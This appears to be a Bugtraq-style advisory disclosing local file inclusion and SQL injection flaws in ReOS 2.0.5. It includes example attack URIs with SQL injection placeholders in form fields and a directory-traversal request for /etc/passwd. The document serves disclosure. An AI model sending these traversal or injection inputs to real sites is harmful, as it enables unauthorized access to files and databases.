ReOS Local File Include and SQL Injection Vulnerabilities

Bugtraq ID:	46134
Class:	Input Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	Feb 03 2011 12:00AM
Updated:	Feb 03 2011 12:00AM
Credit:	High-Tech Bridge SA
Vulnerable:	IT ELAZOS S.L ReOS 2.0.5
Not Vulnerable:

ReOS Local File Include and SQL Injection Vulnerabilities

ReOS is prone to a local file-include vulnerability and multiple SQL-injection vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker can exploit the local file-include vulnerability using directory-traversal strings to view and execute arbitrary local files within the context of the affected application. Information harvested may aid in further attacks.

The attacker can exploit the SQL-injection vulnerabilities to compromise the application, access or modify data, exploit latent vulnerabilities in the underlying database, or bypass the authentication control.

ReOS 2.0.5 is vulnerable; other versions may also be affected.

ReOS Local File Include and SQL Injection Vulnerabilities

Attackers can exploit these issues via a browser.

The following example URIs are available:

http://www.example.com/members.php?form1_tp_state=%27SQL_CODE_HERE&form1_tp_servicio=&form1_tp_propiedad=&form1_order_by=precio&form1_data=pg%3Dmy_immos%2Cnm%3DMy+Properties%2Cfrom%3D0&form1_phpform_sent=1

http:/www.example.com/index.php?form1_ref_immo=1'SQL_CODE_HERE&form1_order_by=precio&form1_tp_propiedad=&form1_in_order=ASC&form1_tp_servicio=&form1_txt_poblacion=&form1_txt_zona=&form1_precio_min=&form1_precio_max=&form1_data=pg%3Dverimmo%2Cnm%3DSearch+Results%2Cshow%3D0%2Cfrom%3D0&form1_phpform_sent=1

http://www.example.com/members.php?form1_keyword=%27SQL_CODE_HERE&form1_data=pg%3Dverpobs%2Cfrom%3D0%2Cnm%3DActive+Cities%2Cid_account%3D3&form1_phpform_sent=1

http://www.example.com/index.php?form1_txt_email1=123'SQL_CODE_HERE&form1_data=pg%3Dremember%2Cnm%3DLost+your+Password%3F&form1_phpform_sent=1

http://www.example.com/jobs.php?lang=/../../../../../../../../etc/passwd%00

ReOS Local File Include and SQL Injection Vulnerabilities

Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].

ReOS Local File Include and SQL Injection Vulnerabilities

References:

• ReOS Homepage (IT ELAZOS S.L)
  
• HTB22806: SQL Injection in ReOS ([email protected])
  
• HTB22807: SQL Injection in ReOS ([email protected])
  
• HTB22808: Local File Inclusion in ReOS ([email protected])
  
• HTB22809: SQL Injection in ReOS ([email protected])
  
• HTB22810: SQL Injection in ReOS ([email protected])